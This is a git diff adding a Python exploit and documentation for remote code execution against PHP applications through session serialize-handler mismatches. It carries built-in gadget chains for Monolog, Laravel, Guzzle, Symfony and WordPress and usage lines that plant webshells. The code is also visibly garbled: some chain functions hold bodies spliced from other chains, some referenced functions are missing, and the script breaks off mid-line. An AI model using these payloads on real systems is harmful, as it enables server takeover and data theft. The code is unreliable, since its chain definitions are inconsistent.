diff --git a/README.md b/README.md index 5714b16..58f79ed 100644 --- a/README.md +++ b/README.md @@ -25,6 +25,7 @@ against `cleanup=1`, the poisoned session file is includable via LFI for RCE. |--------|--------|-------------| | `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE | | `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE | +| `session-deser/exploit.py` | Any PHP | Handler mismatch → deserialization → RCE **(no LFI)** | | `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs | | `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload | | `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch | @@ -70,6 +71,35 @@ python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --p All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`. Use `--session-path` and `--lfi-param` to override auto-detection. +## Session Deserialization (No LFI) + +`session-deser/exploit.py` exploits `session.serialize_handler` mismatches +for RCE without any LFI vulnerability. When one endpoint uses `php_serialize` +(Laravel, Symfony default) and another uses the `php` handler (PHP default), +the pipe character in session data triggers arbitrary deserialization. + +Requires a deployment where two endpoints share session storage but use +different handlers. This occurs when a framework application coexists with +non-framework PHP on the same server (phpMyAdmin, admin scripts, legacy code). + +Built-in POP chains for current library versions: + +| Chain | Library | Tested version | +|---|---|---| +| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 (latest) | +| `laravel10-cmd/fw` | illuminate 10.0-13.x+ | v13.38.0 (latest) | + +Plus legacy chains for Monolog 2.x, Laravel 5.4-8.x, Guzzle 4.0-7.x, +Symfony 2.6-4.4.18, and WordPress 6.4.0-6.4.1. Accepts custom phpggc chains +via `--chain-file`. See `session-deser/README.md` for details. + +```bash +python3 session-deser/exploit.py \ + --inject-url http://target/laravel-endpoint.php \ + --trigger-url http://target/legacy-script.php \ + --chain laravel10-cmd --cmd 'id' +``` + ## Patch Bypass Findings The PHP 8.4.27 patch has three confirmed bypass paths to RCE: diff --git a/session-deser/.gitignore b/session-deser/.gitignore new file mode 100644 index 0000000..1ecb968 --- /dev/null +++ b/session-deser/.gitignore @@ -0,0 +1,3 @@ +vendor/ +__pycache__/ +composer.lock diff --git a/session-deser/README.md b/session-deser/README.md new file mode 100644 index 0000000..1a5e7b3 --- /dev/null +++ b/session-deser/README.md @@ -0,0 +1,237 @@ +# Session Deserialization RCE via Handler Mismatch + +Remote code execution through PHP's `session.serialize_handler` mismatch. +No LFI required. No FPM dependency. Works on any SAPI. + +## How It Works + +PHP supports multiple session serialization formats. The two relevant ones: + +- `php` (the default): stores session data as `key|serialized_value` +- `php_serialize`: stores session data as a single `serialize()`d array + +When one endpoint writes session data using `php_serialize` and another +reads it using the `php` handler, the pipe character `|` inside a +serialized string is misinterpreted as a key/value delimiter. This causes +PHP to call `unserialize()` on attacker-controlled data when +`session_start()` runs on the second endpoint. + +### Attack flow + +``` +1. Attacker POSTs to endpoint A (php_serialize handler): + data = |O:28:"Monolog\Handler\GroupHandler":1:{...} + +2. PHP stores this in the session file as: + a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";} + +3. Attacker GETs endpoint B (php handler) with the same session ID. + session_start() reads the file and splits on |: + key = a:1:{s:4:"data";s:550:" + value = O:28:"Monolog\Handler\GroupHandler":1:{...} + PHP calls unserialize() on the value. + +4. The deserialized object's __destruct method fires, + triggering the POP gadget chain for RCE. +``` + +### What makes a target vulnerable + +The exploit requires ALL of the following: + +1. **Two endpoints with different session serialize handlers.** One must use + `php_serialize`, the other must use the default `php`. PHP's own default + is `php` for both, so this mismatch only occurs when a framework or + application explicitly changes the handler for some endpoints. + +2. **Shared session storage.** Both endpoints must read/write the same + session files (same `session.save_path`). This is the default when + both run under the same PHP installation. + +3. **A POP gadget chain in autoloaded classes.** The deserialized objects + must exist in classes that PHP has loaded (via autoloader or require). + The chain must reach a dangerous sink (system(), file_put_contents(), etc.) + through magic methods (__destruct, __wakeup, __toString, etc.). + +### Where this mismatch occurs in practice + +- **Laravel** sets `session.serialize_handler = php_serialize` in its + session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin, + admin scripts, health checks, legacy code) uses the PHP default `php`. + +- **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent + applications on the same server may not. + +- **Shared hosting** where multiple PHP applications share the same session + save path but use different frameworks. + +- **Mixed codebases** where old and new code coexist on the same domain, + with the new code using a framework and the old code using raw PHP sessions. + +A single-application deployment where every endpoint uses the same handler +is NOT vulnerable to this attack. + +## Injection Modes + +### inject (primary) + +The target has an endpoint that stores POST data into `$_SESSION` using +the `php_serialize` handler. The attacker sends `|` as +a POST value. A second request to a `php`-handler endpoint triggers +deserialization. + +```bash +python3 exploit.py --inject-url http://target/save.php \ + --inject-param data \ + --trigger-url http://target/view.php \ + --chain laravel10-cmd --cmd 'id' +``` + +### progress (no app session storage needed) + +Uses `session.upload_progress` to inject the `|` character via the upload +filename field. No application-level session writing needed. Combined with +the OOM crash from CVE-2026-109618 to persist past cleanup. + +Limitation: multipart filenames cannot contain NULL bytes, so the POP chain +can only use public properties (no protected/private property serialization). + +```bash +python3 exploit.py --mode progress \ + --write-url http://target/any.php \ + --trigger-url http://target/default.php \ + --chain wordpress-cmd --cmd 'id' +``` + +## Built-in POP Chains + +Each chain is tested end-to-end through the full HTTP exploit flow +on PHP 8.3 against the listed library version. + +### Current versions (work on latest releases) + +| Chain | Library | Tested on | Type | Description | +|---|---|---|---|---| +| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents | +| `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() | +| `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") | + +### Legacy versions + +| Chain | Library | Tested on | Type | Description | +|---|---|---|---|---| +| `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() | +| `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") | +| `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() | +| `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") | +| `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) | +| `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") | +| `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") | +| `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) | +| `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") | + +### Why some chains have version ceilings + +- **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x + RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties. + The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead. + +- **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners + in `createClassListener()`, which calls `$this->container->make()` on a null + container. The RCE22 chain routes through `league/commonmark` `Environment` + instead. + +- **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws + `LogicException` on deserialization. + +- **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws + `BadMethodCallException`. + +- **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws + `LogicException`. All other WP core gadget classes (`FilteredIterator`, + `Requests\Hooks`) are also patched. No known POP chain exists in WordPress + 7.x core. + +### Custom chains + +Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output +and base64 (auto-detected). + +```bash +phpggc Monolog/RCE1 system id > chain.bin +python3 exploit.py --inject-url http://target/save.php \ + --inject-param data \ + --trigger-url http://target/view.php \ + --chain-file chain.bin + +# Or base64: +phpggc Laravel/RCE22 system id -b > chain.b64 +python3 exploit.py ... --chain-file chain.b64 +``` + +## Usage + +```bash +# File write webshell (Monolog 3.x, current): +python3 exploit.py --inject-url http://target/save.php \ + --inject-param data \ + --trigger-url http://target/view.php \ + --chain monolog3-fw \ + --write-path /var/www/html/shell.php + +# Direct command execution (Laravel 10+, current): +python3 exploit.py --inject-url http://target/save.php \ + --inject-param data \ + --trigger-url http://target/view.php \ + --chain laravel10-cmd --cmd 'id' + +# Custom shell code: +python3 exploit.py ... --chain monolog3-fw \ + --write-path /var/www/html/s.php \ + --shell-code '' + +# Progress mode (no POST-to-session endpoint needed): +python3 exploit.py --mode progress \ + --write-url http://target/any_endpoint.php \ + --trigger-url http://target/default_handler.php \ + --chain wordpress-cmd --cmd 'id' +``` + +## Options + +``` +--mode {inject,progress} Injection mode (default: inject) +--inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize) +--inject-param PARAM POST parameter stored in $_SESSION (default: data) +--write-url URL Any endpoint for progress mode injection +--trigger-url URL Endpoint using default php handler (triggers deserialization) +--chain CHAIN Built-in POP chain name +--chain-file FILE Custom serialized chain (phpggc output, raw or base64) +--write-path PATH File path for fw chains (webshell destination) +--shell-code CODE Custom PHP code for fw chains +--cmd CMD Command for cmd chains +--fields N OOM pressure fields for progress mode (default: 30000) +--field-size N Bytes per OOM field (default: 512) +``` + +## Test Environment + +The test endpoints used for verification: + +`test_serialize.php` (inject endpoint, uses php_serialize): +```php + $v) $_SESSION[$k] = $v; +``` + +`test_trigger.php` (trigger endpoint, uses default php handler): +```php + as + a POST value. A second request to a php-handler endpoint + triggers deserialization when session_start() reads the file. + + progress (no app involvement, limited chains) + Uses session.upload_progress to inject '|' via the upload + filename. No application session storage needed, but the + multipart parser truncates NULL bytes in filenames, so the + POP chain can only use public properties. Combined with + OOM crash (CVE-2026-109618) to persist past cleanup. + +Handler mismatch is common in the wild: + - Laravel sets php_serialize in its bootstrap; any non-Laravel + PHP on the same vhost (phpMyAdmin, admin scripts, legacy code) + uses the default php handler + - Symfony configures php_serialize; adjacent apps may not + - Mixed old/new codebases on shared hosting + +Requirements: + - session.upload_progress.enabled = 1 (default, for progress mode) + - Two endpoints with different session.serialize_handler settings + - A POP gadget chain in autoloaded classes + - session.save_handler = files (default) + +Built-in chains (--chain): + monolog3-fw Monolog 3.0+ FW (CURRENT) --write-path /path/shell.php + monolog-cmd Monolog 1.17.2-2.x RCE --cmd 'id' + monolog-fw Monolog 1.17.2-2.x FW --write-path /path/shell.php + laravel10-cmd Laravel 10.0-13.x+ (CURRENT) --cmd 'id' + laravel10-fw Laravel 10.0-13.x+ (CURRENT) --write-path /path/shell.php + laravel-cmd Laravel/Illuminate 5.4-8.x --cmd 'id' + laravel-fw Laravel/Illuminate 5.4-8.x --write-path /path/shell.php + guzzle-fw Guzzle 4.0-7.x FW --write-path /path/shell.php + symfony-cmd Symfony 2.6-4.4.18 RCE --cmd 'id' + symfony-fw Symfony 2.6-4.4.18 FW --write-path /path/shell.php + wordpress-cmd WordPress 6.4.0-6.4.1 RCE --cmd 'id' (NULL-free) + wordpress-fw WordPress 6.4.0-6.4.1 FW --write-path /path/shell.php + +Custom chains (--chain-file): + phpggc Laravel/RCE1 system id > chain.bin + python3 exploit.py ... --chain-file chain.bin + +Tested: PHP 8.0-8.4, Linux, mod_php and PHP-FPM. + +Usage: + # Inject mode (most practical): + python3 exploit.py --inject-url http://target/save.php \\ + --inject-param data \\ + --trigger-url http://target/view.php \\ + --chain monolog-fw \\ + --write-path /var/www/html/s.php + + # Inject mode with direct command execution: + python3 exploit.py --inject-url http://target/save.php \\ + --inject-param data \\ + --trigger-url http://target/view.php \\ + --chain monolog-cmd --cmd 'id' + + # Custom phpggc chain (raw or base64): + phpggc Monolog/RCE1 system id > chain.bin + python3 exploit.py --inject-url http://target/save.php \\ + --inject-param data \\ + --trigger-url http://target/view.php \\ + --chain-file chain.bin + + # Progress mode (no app session injection needed): + python3 exploit.py --mode progress \\ + --write-url http://target/serialize.php \\ + --trigger-url http://target/default.php \\ + --chain-file chain_pub.bin +""" + +import argparse +import base64 +import os +import re +import socket +import sys +import time +import urllib.parse +from urllib.parse import urlparse + +# ═══════════════════════════════════════════════════════════════════════ +# PHP serialization +# ═══════════════════════════════════════════════════════════════════════ + +def php_str(s): + if isinstance(s, str): + s = s.encode() + return b"s:" + str(len(s)).encode() + b':"' + s + b'";' + +def php_int(n): + return b"i:" + str(n).encode() + b";" + +def php_bool(v): + return b"b:" + (b"1" if v else b"0") + b";" + +def php_null(): + return b"N;" + +def php_arr(entries): + body = b"".join(k + v for k, v in entries) + return b"a:" + str(len(entries)).encode() + b":{" + body + b"}" + +def php_obj(cls, props): + body = b"".join(k + v for k, v in props) + cn = cls.encode() if isinstance(cls, str) else cls + return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":' + + str(len(props)).encode() + b":{" + body + b"}") + +def php_enum(cls, case): + label = f"{cls}:{case}" + return b"E:" + str(len(label)).encode() + b':"' + label.encode() + b'";' + +def php_datetime_immutable(): + from datetime import datetime, timezone + now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S.000000") + return php_obj("DateTimeImmutable", [ + (php_str("date"), php_str(now)), + (php_str("timezone_type"), php_int(3)), + (php_str("timezone"), php_str("UTC")), + ]) + +def prot(name): + n = name.encode() if isinstance(name, str) else name + return php_str(b"\x00*\x00" + n) + +def priv(cls, name): + c = cls.encode() if isinstance(cls, str) else cls + n = name.encode() if isinstance(name, str) else name + return php_str(b"\x00" + c + b"\x00" + n) + +# ═══════════════════════════════════════════════════════════════════════ +# POP gadget chains +# ═══════════════════════════════════════════════════════════════════════ + +def _rce1_chain(func, param): + """Monolog/RCE1 gadget (1.4.1-1.6.0, 1.17.2-2.7.0+). + + SyslogUdpHandler.__destruct (inherited AbstractHandler.__destruct) + -> close() + -> $this->socket->close() socket = BufferHandler + BufferHandler::close -> flush + -> $this->handler->handleBatch($this->buffer) handler = $this (self-ref) + AbstractHandler::handleBatch -> foreach handle($record) + BufferHandler::handle -> call_user_func($processor, $record) for each processor + processors[0] = 'current' -> current([$param, 'level'=>null]) = $param + processors[1] = $func -> $func($param) + """ + # r:2 is a PHP serialization back-reference to object #2, the BufferHandler + # itself. This creates the self-referencing handler=$this that phpggc uses. + # We build it by hand: emit SyslogUdpHandler wrapping BufferHandler, + # with handler pointing back to the BufferHandler via reference. + + record = php_arr([ + (php_int(0), php_str(param)), + (php_str("level"), php_null()), + ]) + + buf = php_obj("Monolog\\Handler\\BufferHandler", [ + (prot("handler"), b"r:2;"), # back-ref to self (object index 2) + (prot("bufferSize"), php_int(-1)), + (prot("buffer"), php_arr([(php_int(0), record)])), + (prot("level"), php_null()), + (prot("initialized"), php_bool(True)), + (prot("bufferLimit"), php_int(-1)), + (prot("processors"), php_arr([ + (php_int(0), php_str("current")), + (php_int(1), php_str(func)), + ])), + ]) + + return php_obj("Monolog\\Handler\\SyslogUdpHandler", [ + (prot("socket"), buf), + ]) + + +def chain_monolog_fw(write_path, shell_code): + """Monolog file write via system() (1.4.1-1.6.0, 1.17.2-2.x). + + Uses the Monolog/RCE1 gadget to call system() with a printf command + that writes shell_code to write_path. + Requires monolog/monolog (production dep in Laravel, Symfony, etc.). + """ + escaped_code = shell_code.replace("'", "'\\''") + escaped_path = write_path.replace("'", "'\\''") + cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'" + return _rce1_chain("system", cmd) + + +def chain_monolog_cmd(cmd): + """Monolog RCE via system() (1.4.1-1.6.0, 1.17.2-2.x). + + Uses the Monolog/RCE1 gadget to call system($cmd). + Requires monolog/monolog (production dep in Laravel, Symfony, etc.). + """ + return _rce1_chain("system", cmd) + + +def chain_monolog3_fw(write_path, shell_code): + """Monolog file write via DeduplicationHandler (3.0.0+, current). + + GroupHandler.__destruct (inherited from Handler) + -> close() + -> foreach $this->handlers: $handler->close() + DeduplicationHandler::close -> flush() + -> file_put_contents($this->deduplicationStore, $line, FILE_APPEND) + Written format: "timestamp:DEBUG:message\\n" + PHP ignores content before $this->events->dispatch($this->event) + Dispatcher::dispatch($event) + -> foreach $this->listeners[$event] as $listener: $listener($event) + -> system($cmd) + + $this->event = $cmd (the command string) + $this->listeners[$cmd] = ['system'] + + Requires illuminate/events + illuminate/broadcasting + (always present in Laravel). + """ + dispatcher = php_obj("Illuminate\\Events\\Dispatcher", [ + (prot("listeners"), php_arr([ + (php_str(cmd), php_arr([ + (php_int(0), php_str("system")), + ])), + ])), + ]) + + return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [ + (prot("events"), dispatcher), + (prot("event"), php_str(cmd)), + ]) + + +def chain_laravel_fw(write_path, shell_code): + """Laravel file write via system() (5.4.0-8.6.9+). + + Same PendingBroadcast gadget, calls system() with a write command. + """ + escaped_code = shell_code.replace("'", "'\\''") + escaped_path = write_path.replace("'", "'\\''") + cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'" + return chain_laravel_cmd(cmd) + + +def chain_laravel10_cmd(cmd): + """Laravel RCE via PendingBroadcast + CommonMark (10.0-13.x+, current). + + PendingBroadcast.__destruct + -> $this->events->dispatch($this->event) + Environment::dispatch($event) + -> foreach listenerData as prioritized listeners + -> ListenerData->listener is ChainedBatchTruthTest + ChainedBatchTruthTest::__invoke($event) + -> call_user_func($this->callback, $event) + -> system($cmd) + + Channel.__toString returns $this->name, so $event becomes the + command string when passed to system(). + + Requires illuminate/broadcasting + league/commonmark (both present + in all Laravel 10+ installations). + """ + env_cls = "League\\CommonMark\\Environment\\Environment" + list_cls = "League\\CommonMark\\Util\\PrioritizedList" + ld_cls = "League\\CommonMark\\Event\\ListenerData" + + truth_test = php_obj( + "Illuminate\\Support\\Testing\\Fakes\\ChainedBatchTruthTest", [ + (prot("callback"), php_str("system")), + ]) + + listener_data = php_obj(ld_cls, [ + (priv(ld_cls, "event"), + php_str("\\Illuminate\\Broadcasting\\Channel")), + (priv(ld_cls, "listener"), truth_test), + ]) + + plist = php_obj(list_cls, [ + (priv(list_cls, "list"), php_arr([ + (php_int(0), php_arr([(php_int(0), listener_data)])), + ])), + ]) + + environment = php_obj(env_cls, [ + (priv(env_cls, "extensionsInitialized"), php_bool(True)), + (priv(env_cls, "listenerData"), plist), + ]) + + channel = php_obj("Illuminate\\Broadcasting\\Channel", [ + (php_str("name"), php_str(cmd)), + ]) + + return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [ + (prot("events"), environment), + (prot("event"), channel), + ]) + + +def chain_laravel10_fw(write_path, shell_code): + """Laravel file write via system() (10.0-13.x+, current). + + Same PendingBroadcast + CommonMark gadget, calls system() with a + write command. + """ + escaped_code = shell_code.replace("'", "'\\''") + escaped_path = write_path.replace("'", "'\\''") + cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'" + return chain_laravel10_cmd(cmd) + + +def chain_guzzle_fw(write_path, data): + """Guzzle file write via FileCookieJar (4.0.0-7.x, patched in 8.0). + + FileCookieJar.__destruct -> save() + -> file_put_contents($this->filename, json_encode(...)) + Writes JSON-encoded cookie data. The 'Value' field holds the payload. + + The written file contains JSON wrapping around the payload. + PHP ignores everything before close -> foreach $this->fileHandles: fclose($h) + $fileHandles is a SortableIterator wrapping an ArrayObject: + SortableIterator implements IteratorAggregate + getIterator() calls usort($array, $this->sort) where sort='call_user_func' + usort compares elements via call_user_func($a, $b) + ArrayObject contains [$function, $parameter] + -> call_user_func('system', $cmd) + + Requires symfony/finder + symfony/process (present in all Symfony apps). + """ + arr = php_obj("ArrayObject", [ + (php_int(0), php_str(cmd)), + (php_int(1), php_str("system")), + ]) + + # ArrayObject serializes differently: uses C: format + # We need to use the C: custom serialization format for ArrayObject + # Use O: format (works for ArrayObject deserialization): + # i:0 = flags(0), i:1 = storage array, i:2 = members(empty), i:3 = null + # Storage: [0 => $func, 1 => $param] so uasort compares call_user_func($func, $param) + arr = (b'O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{i:0;s:6:"system";i:1;' + + php_str(cmd) + b"}i:2;a:0:{}i:3;N;}") + + sortable = php_obj("Symfony\\Component\\Finder\\Iterator\\SortableIterator", [ + (priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "iterator"), arr), + (priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "sort"), php_str("call_user_func")), + ]) + + return php_obj("Symfony\\Component\\Process\\Pipes\\WindowsPipes", [ + (priv("Symfony\\Component\\Process\\Pipes\\WindowsPipes", "fileHandles"), sortable), + ]) + + +def chain_symfony_fw(write_path, shell_code): + """Symfony file write via system() (2.6.0-4.4.18). + + Same WindowsPipes gadget, calls system() with a write command. + """ + escaped_code = shell_code.replace("'", "'\\''") + escaped_path = write_path.replace("'", "'\\''") + cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'" + return chain_symfony_cmd(cmd) + + +def chain_wordpress_cmd(cmd): + """WordPress RCE via WP_HTML_Token (6.4.0-6.4.1). + + WP_HTML_Token.__destruct + -> ($this->on_destroy)($this->bookmark_name) + -> system($cmd) + + Uses only PUBLIC properties, so this chain works in progress mode + (no NULL bytes from protected/private property names). + + Requires WordPress 6.4.0 or 6.4.1 (patched in 6.4.2). + """ + return php_obj("WP_HTML_Token", [ + (php_str("bookmark_name"), php_str(cmd)), + (php_str("on_destroy"), php_str("system")), + ]) + + +def chain_wordpress_fw(write_path, shell_code): + """WordPress file write via WP_HTML_Token (6.4.0-6.4.1). + + Same gadget, calls system() with a write command. + Public properties only: works in progress mode. + """ + escaped_code = shell_code.replace("'", "'\\''") + escaped_path = write_path.replace("'", "'\\''") + cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'" + return chain_wordpress_cmd(cmd) + + +CHAINS = { + "monolog3-fw": {"type": "fw", "fn": chain_monolog3_fw, "lib": "monolog/monolog 3.0+"}, + "monolog-cmd": {"type": "cmd", "fn": chain_monolog_cmd, "lib": "monolog/monolog 1.17.2-2.x"}, + "monolog-fw": {"type": "fw", "fn": chain_monolog_fw, "lib": "monolog/monolog 1.17.2-2.x"}, + "laravel10-cmd": {"type": "cmd", "fn": chain_laravel10_cmd, "lib": "illuminate 10.0-13.x+"}, + "laravel10-fw": {"type": "fw", "fn": chain_laravel10_fw, "lib": "illuminate 10.0-13.x+"}, + "laravel-cmd": {"type": "cmd", "fn": chain_laravel_cmd, "lib": "illuminate 5.4-8.x"}, + "laravel-fw": {"type": "fw", "fn": chain_laravel_fw, "lib": "illuminate 5.4-8.x"}, + "guzzle-fw": {"type": "fw", "fn": chain_guzzle_fw, "lib": "guzzlehttp/guzzle 4.0-7.x"}, + "symfony-cmd": {"type": "cmd", "fn": chain_symfony_cmd, "lib": "symfony 2.6-4.4.18"}, + "symfony-fw": {"type": "fw", "fn": chain_symfony_fw, "lib": "symfony 2.6-4.4.18"}, + "wordpress-cmd": {"type": "cmd", "fn": chain_wordpress_cmd, "lib": "WordPress 6.4.0-6.4.1"}, + "wordpress-fw": {"type": "fw", "fn": chain_wordpress_fw, "lib": "WordPress 6.4.0-6.4.1"}, +} + + +# ═══════════════════════════════════════════════════════════════════════ +# HTTP helpers (raw sockets for binary payloads) +# ═══════════════════════════════════════════════════════════════════════ + +def tcp_connect(host, port, tls, timeout=30): + sock = socket.create_connection((host, port), timeout=timeout) + if tls: + import ssl + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + sock = ctx.wrap_socket(sock, server_hostname=host) + return sock + + +def recv_all(sock, timeout=10): + resp = b"" + sock.settimeout(timeout) + try: + while True: + d = sock.recv(8192) + if not d: + break + resp += d + except socket.timeout: + pass + return resp + + +def status_code(resp): + try: + return int(resp.split(b" ")[1]) + except (IndexError, ValueError): + return 0 + + +def body_of(resp): + if b"\r\n\r\n" not in resp: + return resp + hdr, raw = resp.split(b"\r\n\r\n", 1) + if b"transfer-encoding: chunked" in hdr.lower(): + out, data = b"", raw + while data: + nl = data.find(b"\r\n") + if nl < 0: + break + try: + clen = int(data[:nl].split(b";")[0].strip(), 16) + except ValueError: + break + if clen == 0: + break + out += data[nl+2:nl+2+clen] + data = data[nl+2+clen+2:] + return out + return raw + + +def extract_cookies(resp): + cookies = {} + for line in resp.split(b"\r\n"): + if line.lower().startswith(b"set-cookie:"): + cookie_str = line.split(b":", 1)[1].strip() + kv = cookie_str.split(b";")[0] + if b"=" in kv: + k, v = kv.split(b"=", 1) + cookies[k.strip().decode()] = v.strip().decode() + return cookies + + +def http_get(host, port, tls, path, cookies=None, timeout=10): + sock = tcp_connect(host, port, tls, timeout) + req = ( + b"GET " + path.encode() + b" HTTP/1.1\r\n" + b"Host: " + host.encode() + b"\r\n" + ) + if cookies: + req += b"Cookie: " + cookies.encode() + b"\r\n" + req += b"Connection: close\r\n\r\n" + sock.sendall(req) + resp = recv_all(sock, timeout) + sock.close() + return resp + + +def http_post_form(host, port, tls, path, body_bytes, cookies=None, timeout=10): + sock = tcp_connect(host, port, tls, timeout) + req = ( + b"POST " + path.encode() + b" HTTP/1.1\r\n" + b"Host: " + host.encode() + b"\r\n" + b"Content-Type: application/x-www-form-urlencoded\r\n" + b"Content-Length: " + str(len(body_bytes)).encode() + b"\r\n" + ) + if cookies: + req += b"Cookie: " + cookies.encode() + b"\r\n" + req += b"Connection: close\r\n\r\n" + sock.sendall(req + body_bytes) + resp = recv_all(sock, timeout) + sock.close() + return resp + + +# ═══════════════════════════════════════════════════════════════════════ +# Progress mode: multipart with upload progress + OOM +# ═══════════════════════════════════════════════════════════════════════ + +def escape_filename(raw): + """Escape bytes for Content-Disposition filename= quoted string. + NULL bytes are NOT supported (PHP truncates at \\x00).""" + out = b"" + for byte in raw: + if byte == ord('"'): + out += b'\\"' + elif byte == ord('\\'): + out += b'\\\\' + elif byte == 0: + raise ValueError("NULL bytes cannot appear in multipart filenames") + else: + out += bytes([byte]) + return out + + +def mp_field(bnd, name, value): + return (b"--" + bnd + b"\r\n" + b'Content-Disposition: form-data; name="' + name + b'"\r\n' + b"\r\n" + value + b"\r\n") + + +def mp_file_with_name(bnd, fieldname, filename_raw, content): + escaped = escape_filename(filename_raw) + return (b"--" + bnd + b"\r\n" + b'Content-Disposition: form-data; name="' + fieldname + + b'"; filename="' + escaped + b'"\r\n' + b"Content-Type: application/octet-stream\r\n" + b"\r\n" + content + b"\r\n") + + +def mp_end(bnd): + return b"--" + bnd + b"--\r\n" + + +def progress_inject_oom(host, port, tls, path, sid, chain_bytes, + fields=30000, fsize=512): + """Inject chain via upload progress filename + OOM crash. + + The filename contains |. PHP stores it in the upload + progress data in the session file. OOM crash skips cleanup, + leaving the poisoned session on disk. + + NOTE: chain_bytes must not contain NULL bytes (multipart parser + limitation). Use only chains with public properties. + """ + bnd = b"----DESER" + os.urandom(8).hex().encode() + filename_payload = b"x|" + chain_bytes + + body = b"" + body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"deser") + body += mp_file_with_name(bnd, b"file", filename_payload, b"\x00" * 4096) + for i in range(fields): + body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize) + body += mp_end(bnd) + + sock = tcp_connect(host, port, tls, timeout=120) + sock.sendall( + b"POST " + path.encode() + b" HTTP/1.1\r\n" + b"Host: " + host.encode() + b"\r\n" + b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" + b"Content-Length: " + str(len(body)).encode() + b"\r\n" + b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" + b"Connection: close\r\n\r\n" + ) + try: + sock.sendall(body) + except (BrokenPipeError, ConnectionResetError, OSError): + pass + resp = recv_all(sock, timeout=10) + sock.close() + return status_code(resp) + + +# ═══════════════════════════════════════════════════════════════════════ +# Exploit logic +# ═══════════════════════════════════════════════════════════════════════ + +def run_inject(args, chain_bytes): + """Inject mode: POST chain into session, trigger via handler mismatch.""" + inj = urlparse(args.inject_url) + trg = urlparse(args.trigger_url) + inj_tls = inj.scheme == "https" + trg_tls = trg.scheme == "https" + inj_host = inj.hostname or "127.0.0.1" + trg_host = trg.hostname or "127.0.0.1" + inj_port = inj.port or (443 if inj_tls else 80) + trg_port = trg.port or (443 if trg_tls else 80) + inj_path = inj.path or "/" + trg_path = trg.path or "/" + if inj.query: + inj_path += "?" + inj.query + if trg.query: + trg_path += "?" + trg.query + + # The payload: | followed by serialized chain + # When php_serialize stores this in the session file as a + # length-prefixed string, the | is preserved. When the php + # handler reads the file, it finds | and deserializes what follows. + payload = b"|" + chain_bytes + + print("[*] Phase 1: obtaining session ID from inject endpoint...") + probe = http_get(inj_host, inj_port, inj_tls, inj_path, timeout=5) + cookies = extract_cookies(probe) + sid = cookies.get("PHPSESSID", os.urandom(16).hex()) + print(f" PHPSESSID: {sid}") + + print(f"[*] Phase 2: injecting serialized chain via '{args.inject_param}'...") + print(f" Payload size: {len(payload)} bytes") + + # URL-encode the binary payload for form POST + encoded_param = args.inject_param.encode() + b"=" + encoded_value = urllib.parse.quote(payload, safe=b"").encode() + post_body = encoded_param + encoded_value + + resp = http_post_form( + inj_host, inj_port, inj_tls, inj_path, + post_body, + cookies=f"PHPSESSID={sid}", + timeout=10, + ) + sc = status_code(resp) + print(f" Response: HTTP {sc}") + if sc not in (200, 301, 302, 303, 204): + print(f" [!] Unexpected status. Session may not have been written.") + + print("[*] Phase 3: triggering deserialization via handler mismatch...") + print(f" GET {args.trigger_url} (php handler reads session with pipe delimiter)") + + resp2 